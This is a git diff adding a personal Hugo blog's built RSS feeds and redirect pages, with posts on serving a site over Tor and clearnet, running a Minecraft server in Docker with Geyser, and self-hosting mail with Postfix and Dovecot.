|
||||
<li><strong>Curl & .onion:</strong> modern curl refuses <code>.onion</code> unless you use remote DNS via SOCKS:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">"http://<onion>/"</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li><strong>Two Nginx vhosts on the same port:</strong> I had a duplicate server on <code>127.0.0.1:3301</code> pointing somewhere else, which caused onion 404s. Keep only one (or mark one <code>default_server</code>).</li>
|
||||
<li><strong>Regex in <code>server_name</code>:</strong> if you use it, write <code>server_name ~* \.onion$</code> (space after <code>~*</code>). I fixed an <code>invalid variable name</code> error caused by a missing space.</li>
|
||||
<li><strong>PaperMod with old Hugo:</strong> upgraded to <strong>extended ≥ 0.146.0</strong>. Also updated <code>paginate</code> → <code>[pagination].pagerSize</code>.</li>
|
||||
<li><strong>Snap confinement:</strong> Snap’s <code>hugo</code> couldn’t read <code>/srv</code> (<code>.../void: permission denied</code>). Switched to the tarball build in <code>/usr/local/bin</code>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="7-not-secure-in-tor-browser">7) “Not secure” in Tor Browser?</h2>
|
||||
<p>That message can appear because onion uses <strong>HTTP</strong>. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference <strong>clearnet</strong> resources (scan the built HTML for <code>http(s)://</code> links that aren’t your onion).</p>
|
||||
<hr>
|
||||
<h2 id="8-day-to-day-workflow">8) Day-to-day workflow</h2>
|
||||
<ul>
|
||||
<li>Create content:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo new posts/my-first-post.md <span style="color:#75715e"># then set draft: false</span>
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Publish both:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>build-both
|
||||
</span></span></code></pre></div></li>
|
||||
<li>(Optional) Auto on save:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
|
||||
</span></span></code></pre></div></li>
|
||||
<li>(Optional) Git push-to-deploy with a bare repo + post-receive hook that runs <code>build-both</code>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="final-notes">Final notes</h2>
|
||||
<ul>
|
||||
<li>Clearnet gets <strong>HTTPS + HSTS</strong> and an <code>Onion-Location</code> header.</li>
|
||||
<li>Onion gets <strong>no HSTS/redirects</strong>, and all assets are self-hosted to avoid mixed content.</li>
|
||||
<li>Serving both worlds from one Hugo repo is easy: <strong>two builds, two vhosts, one workflow</strong>.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/tor_clearnet_blog.md">Markdown</a> ·
|
||||
<a href="/sources/posts/tor_clearnet_blog.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
|
||||
jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
|
||||
DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
|
||||
6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
|
||||
UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
|
||||
FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
|
||||
slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
|
||||
TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
|
||||
VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
|
||||
OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
|
||||
N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
|
||||
700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
|
||||
=QlNw
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
|
||||
gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/devops/page/1/index.html
Normal file
2
public-clearnet/categories/devops/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/devops/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/devops/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/devops/"></head></html>
|
||||
11
public-clearnet/categories/games/index.html
Normal file
11
public-clearnet/categories/games/index.html
Normal file
File diff suppressed because one or more lines are too long
166
public-clearnet/categories/games/index.xml
Normal file
166
public-clearnet/categories/games/index.xml
Normal file
|
|
@ -0,0 +1,166 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Games on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/games/</link><description>Recent content in Games on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Mon, 29 Sep 2025 09:06:29 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/games/index.xml" rel="self" type="application/rss+xml"/><item><title>Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases</title><link>https://blog.alipour.eu/posts/minecraft_server/</link><pubDate>Mon, 29 Sep 2025 09:06:29 +0000</pubDate><guid>https://blog.alipour.eu/posts/minecraft_server/</guid><description>How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.</description><content:encoded><![CDATA[<h2 id="why">Why</h2>
|
||||
<p>I’ve been running a Java Minecraft world (with Bedrock players via <strong>Geyser</strong>) in <code>tmux</code>. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:</p>
|
||||
<ul>
|
||||
<li><code>failed to register layer: ... no space left on device</code></li>
|
||||
<li>Client saying: <strong>“Outdated client, please use 1.21.9 Pre-Release 2”</strong></li>
|
||||
<li>Wanting config in a neat <code>.env</code> and <strong>no whitelist</strong></li>
|
||||
</ul>
|
||||
<p>Here’s exactly what I did.</p>
|
||||
<hr>
|
||||
<h2 id="folder-layout">Folder layout</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>~/minecraft/
|
||||
</span></span><span style="display:flex;"><span>├─ docker-compose.yml
|
||||
</span></span><span style="display:flex;"><span>├─ .env
|
||||
</span></span><span style="display:flex;"><span>└─ plugins/
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="env-secrets--knobs"><code>.env</code> (secrets & knobs)</h2>
|
||||
<p>Use the <strong>latest stable</strong> (not snapshots/pre-releases) by setting <code>VERSION=LATEST</code>.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span><span style="color:#75715e"># Minecraft server configuration</span>
|
||||
</span></span><span style="display:flex;"><span>EULA<span style="color:#f92672">=</span>TRUE
|
||||
</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>PAPER
|
||||
</span></span><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST
|
||||
</span></span><span style="display:flex;"><span>MEMORY<span style="color:#f92672">=</span>4G
|
||||
</span></span><span style="display:flex;"><span>USE_AIKAR_FLAGS<span style="color:#f92672">=</span>true
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># RCON (remote console)</span>
|
||||
</span></span><span style="display:flex;"><span>ENABLE_RCON<span style="color:#f92672">=</span>true
|
||||
</span></span><span style="display:flex;"><span>RCON_PASSWORD<span style="color:#f92672">=</span>superSecretPassword123
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>I don’t use a whitelist, so no <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code> variables.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="docker-composeyml"><code>docker-compose.yml</code></h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">mc</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">image</span>: <span style="color:#ae81ff">itzg/minecraft-server:latest</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">mc</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ports</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"25565:25565"</span> <span style="color:#75715e"># Java</span>
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#e6db74">"19132:19132/udp"</span> <span style="color:#75715e"># Bedrock via Geyser plugin</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">env_file</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">.env</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">mc-data:/data</span>
|
||||
</span></span><span style="display:flex;"><span> - <span style="color:#ae81ff">./plugins:/plugins:ro</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">mc-data</span>: {}
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>The <code>version:</code> key in Compose is obsolete now, so I dropped it.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="add-geyser-and-optional-floodgate-as-plugins">Add Geyser (and optional Floodgate) as plugins</h2>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/minecraft/plugins
|
||||
</span></span><span style="display:flex;"><span>cd ~/minecraft/plugins
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Geyser (Spigot/Paper)</span>
|
||||
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Floodgate (optional: Bedrock accounts without Java linking)</span>
|
||||
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar
|
||||
</span></span></code></pre></div><p>Start it up:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
|
||||
</span></span></code></pre></div><p>On first run, Geyser writes its config to <code>/data/plugins/Geyser-Spigot/</code>. Open UDP <strong>19132</strong> on your firewall.</p>
|
||||
<hr>
|
||||
<h2 id="hit-a-wall-var-ran-out-of-space">Hit a wall: <code>/var</code> ran out of space</h2>
|
||||
<p>Docker stores layers at <code>/var/lib/docker</code> by default. My <code>/var</code> LV was tiny:</p>
|
||||
<pre tabindex="0"><code>/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var
|
||||
</code></pre><h3 id="quick-cleanup">Quick cleanup</h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker system df
|
||||
</span></span><span style="display:flex;"><span>docker system prune -f
|
||||
</span></span><span style="display:flex;"><span>docker builder prune -af
|
||||
</span></span><span style="display:flex;"><span>sudo apt-get clean
|
||||
</span></span><span style="display:flex;"><span>sudo journalctl --vacuum-size<span style="color:#f92672">=</span>100M
|
||||
</span></span></code></pre></div><p>If that’s not enough, you have two good options:</p>
|
||||
<h3 id="option-a--move-dockers-data-off-var">Option A — Move Docker’s data off <code>/var</code></h3>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl stop docker
|
||||
</span></span><span style="display:flex;"><span>sudo mkdir -p /home/docker
|
||||
</span></span><span style="display:flex;"><span>sudo rsync -aHAX --info<span style="color:#f92672">=</span>progress2 /var/lib/docker/ /home/docker/
|
||||
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">'{ "data-root": "/home/docker" }'</span> | sudo tee /etc/docker/daemon.json
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl start docker
|
||||
</span></span><span style="display:flex;"><span>docker info | grep <span style="color:#e6db74">"Docker Root Dir"</span>
|
||||
</span></span></code></pre></div><p>If all looks good, free the old space:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo rm -rf /var/lib/docker/*
|
||||
</span></span></code></pre></div><h3 id="option-b--grow-var-lvm">Option B — Grow <code>/var</code> (LVM)</h3>
|
||||
<p>Check free space in the VG:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo vgdisplay <span style="color:#75715e"># look for "Free PE / Size"</span>
|
||||
</span></span></code></pre></div><p>If available, extend <code>/var</code> by +5G:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
|
||||
</span></span><span style="display:flex;"><span>sudo resize2fs /dev/mapper/ubuntu--vg-var
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="the-version-mismatch-pre-release-vs-stable">The version mismatch: pre-release vs stable</h2>
|
||||
<p>My logs showed:</p>
|
||||
<pre tabindex="0"><code>Starting minecraft server version 1.21.9 Pre-Release 2
|
||||
</code></pre><p>That happens if the server pulls a pre-release build (or if <code>VERSION=LATEST</code>). Fix:</p>
|
||||
<ol>
|
||||
<li>Ensure <code>.env</code> has:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST_RELEASE
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Recreate:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose down
|
||||
</span></span><span style="display:flex;"><span>docker compose pull
|
||||
</span></span><span style="display:flex;"><span>docker compose up -d
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Verify:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs mc | grep <span style="color:#e6db74">"Starting minecraft server version"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -> Starting minecraft server version 1.21.1 (example)</span>
|
||||
</span></span></code></pre></div></li>
|
||||
</ol>
|
||||
<blockquote>
|
||||
<p>Tip: If you <strong>want to pin</strong> and avoid auto-updates entirely, set <code>VERSION=1.21.1</code> (or whatever stable you’ve validated).</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="no-whitelist">No whitelist</h2>
|
||||
<p>Because I don’t set <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code>, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it mc rcon-cli <span style="color:#e6db74">"op YourJavaIGN"</span>
|
||||
</span></span></code></pre></div><p>(or edit <code>/data/ops.json</code>).</p>
|
||||
<hr>
|
||||
<h2 id="backup--updates">Backup & updates</h2>
|
||||
<ul>
|
||||
<li>World/data live under the <code>mc-data</code> volume → back up <code>/data</code> regularly.</li>
|
||||
<li>Update cleanly:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose pull <span style="color:#f92672">&&</span> docker compose up -d
|
||||
</span></span></code></pre></div></li>
|
||||
<li>Watch space:
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>watch -n5 <span style="color:#e6db74">'df -h /var; docker system df'</span>
|
||||
</span></span></code></pre></div></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2 id="tldr">TL;DR</h2>
|
||||
<ul>
|
||||
<li>Put <strong>Geyser/Floodgate</strong> jars in <code>./plugins</code> and expose <strong>19132/udp</strong>.</li>
|
||||
<li>Keep configs in <code>.env</code>.</li>
|
||||
<li>Fix <code>/var</code> space by pruning, <strong>moving Docker’s data-root</strong>, or <strong>extending <code>/var</code></strong> via LVM.</li>
|
||||
<li>Verify version in logs after each change.</li>
|
||||
</ul>
|
||||
<p>Happy block-breaking! 🧱🚀</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/minecraft_server.md">Markdown</a> ·
|
||||
<a href="/sources/posts/minecraft_server.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
|
||||
jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
|
||||
Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
|
||||
0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
|
||||
7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
|
||||
JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
|
||||
OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
|
||||
s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
|
||||
g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
|
||||
NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
|
||||
F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
|
||||
sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
|
||||
=NmxL
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
|
||||
gpg --verify minecraft_server.md.asc minecraft_server.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/games/page/1/index.html
Normal file
2
public-clearnet/categories/games/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/games/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/games/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/games/"></head></html>
|
||||
21
public-clearnet/categories/guides/index.html
Normal file
21
public-clearnet/categories/guides/index.html
Normal file
File diff suppressed because one or more lines are too long
473
public-clearnet/categories/guides/index.xml
Normal file
473
public-clearnet/categories/guides/index.xml
Normal file
|
|
@ -0,0 +1,473 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Guides on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/guides/</link><description>Recent content in Guides on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 24 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/guides/index.xml" rel="self" type="application/rss+xml"/><item><title>Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)</title><link>https://blog.alipour.eu/posts/self_hosting_mail/</link><pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/self_hosting_mail/</guid><description>A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again).</description><content:encoded><![CDATA[<blockquote>
|
||||
<p>If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do <strong>not</strong> assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.</p></blockquote>
|
||||
<p>I wanted real email on my own machine — <code>mail.alipourimjourneys.ir</code> — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)</p>
|
||||
<p>By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand <em>why</em> those pieces exist, which is the part the shiny installers quietly skip.</p>
|
||||
<hr>
|
||||
<h2 id="why-i-bothered">Why I bothered</h2>
|
||||
<p>Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.</p>
|
||||
<p>I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.</p>
|
||||
<hr>
|
||||
<h2 id="how-email-actually-moves">How email actually moves</h2>
|
||||
<p>Imagine a post office that both receives letters from other post offices <em>and</em> lets you drop off letters to send — but only if you show ID at the counter.</p>
|
||||
<p><strong>Postfix</strong> is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port <strong>25</strong>. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).</p>
|
||||
<p>When <em>you</em> want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use <strong>submission</strong>, usually port <strong>587</strong>, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.</p>
|
||||
<p><strong>Dovecot</strong> is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port <strong>993</strong> so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.</p>
|
||||
<p><strong>OpenDKIM</strong> sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.</p>
|
||||
<p>Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.</p>
|
||||
<p>Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.</p>
|
||||
<hr>
|
||||
<h2 id="the-shape-of-my-setup">The shape of my setup</h2>
|
||||
<p>On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under <code>/srv/services/mail/</code> runs Postgres only for that mail world, listening on <code>127.0.0.1:5433</code>. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.</p>
|
||||
<p>Nginx terminates HTTPS for a little portal at <code>mail.alipourimjourneys.ir</code>, the admin UI at <code>mailadmin.alipourimjourneys.ir</code>, and Roundcube at <code>webmail.alipourimjourneys.ir</code>. Clients still talk to <code>mail.alipourimjourneys.ir</code> for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.</p>
|
||||
<hr>
|
||||
<h2 id="port-25-is-for-servers-port-587-is-for-people">Port 25 is for servers; port 587 is for people</h2>
|
||||
<p>This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.</p>
|
||||
<p>Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed <em>to your domain</em>, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.</p>
|
||||
<p>Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.</p>
|
||||
<p>I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.</p>
|
||||
<hr>
|
||||
